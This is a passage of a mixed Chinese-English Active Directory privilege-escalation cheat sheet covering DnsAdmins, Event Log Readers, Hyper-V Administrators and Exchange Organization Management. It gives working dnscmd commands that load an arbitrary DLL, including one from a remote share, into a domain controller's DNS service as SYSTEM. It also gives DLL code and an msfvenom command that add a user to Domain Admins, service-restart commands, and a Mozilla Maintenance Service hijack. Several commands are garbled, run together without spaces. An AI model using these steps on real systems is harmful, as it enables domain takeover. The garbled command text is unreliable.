DnsAdmins 组的成员可以利用他们的特权在 DNS 服务器上加载具有 SYSTEM 特权的任意 DLL,通常托管在域控制器上。这种能力允许显著的利用潜力。
要列出 DnsAdmins 组的成员,请使用:
Get-NetGroupMember-Identity "DnsAdmins"-Recurse
执行任意 DLL
成员可以使用以下命令使 DNS 服务器加载任意 DLL(无论是本地的还是来自远程共享的):
dnscmd [dc.computername] /config /serverlevelplugindll c:\path\to\DNSAdmin-DLL.dlldnscmd [dc.computername] /config /serverlevelplugindll \\1.2.3.4\share\DNSAdmin-DLL.dllAn attacker could modify the DLL to add a user to the Domain Admins group or execute other commands with SYSTEM privileges. Example DLL modification and msfvenom usage:
// Modify DLL to add userDWORD WINAPI DnsPluginInitialize(PVOID pDnsAllocateFunction, PVOID pDnsFreeFunction){system("C:\\Windows\\System32\\net.exe user Hacker T0T4llyrAndOm... /add /domain");system("C:\\Windows\\System32\\net.exe group \"Domain Admins\" Hacker /add /domain");}
//GenerateDLLwithmsfvenommsfvenom-pwindows/x64/execcmd='net group "domain admins" <username> /add /domain'-fdll-oadduser.dll
重新启动 DNS 服务(这可能需要额外的权限)是加载 DLL 所必需的:
sc.exe \\dc01 stop dnssc.exe \\dc01 start dns
For more details on this attack vector, refer to ired.team.
# Get members and search logs for sensitive informationGet-NetGroupMember-Identity "Event Log Readers"-RecurseGet-WinEvent-LogName security |where { $_.ID-eq4688-and$_.Properties[8].Value -like'*/user*'}
Hyper-V 管理员可以利用 Firefox 的 Mozilla 维护服务以 SYSTEM 身份执行命令。这涉及创建一个指向受保护的 SYSTEM 文件的硬链接,并用恶意可执行文件替换它:
# Take ownership and start the servicetakeown/FC:\ProgramFiles (x86)\Mozilla Maintenance Service\maintenanceservice.exesc.exestartMozillaMaintenance
注意:硬链接利用在最近的Windows更新中已被缓解。
组织管理
在部署了Microsoft Exchange的环境中,一个特殊的组称为组织管理,拥有重要的能力。该组有权访问所有域用户的邮箱,并对“Microsoft Exchange安全组”组织单位(OU)保持完全控制。这种控制包括**Exchange Windows Permissions**组,该组可以被利用进行特权升级。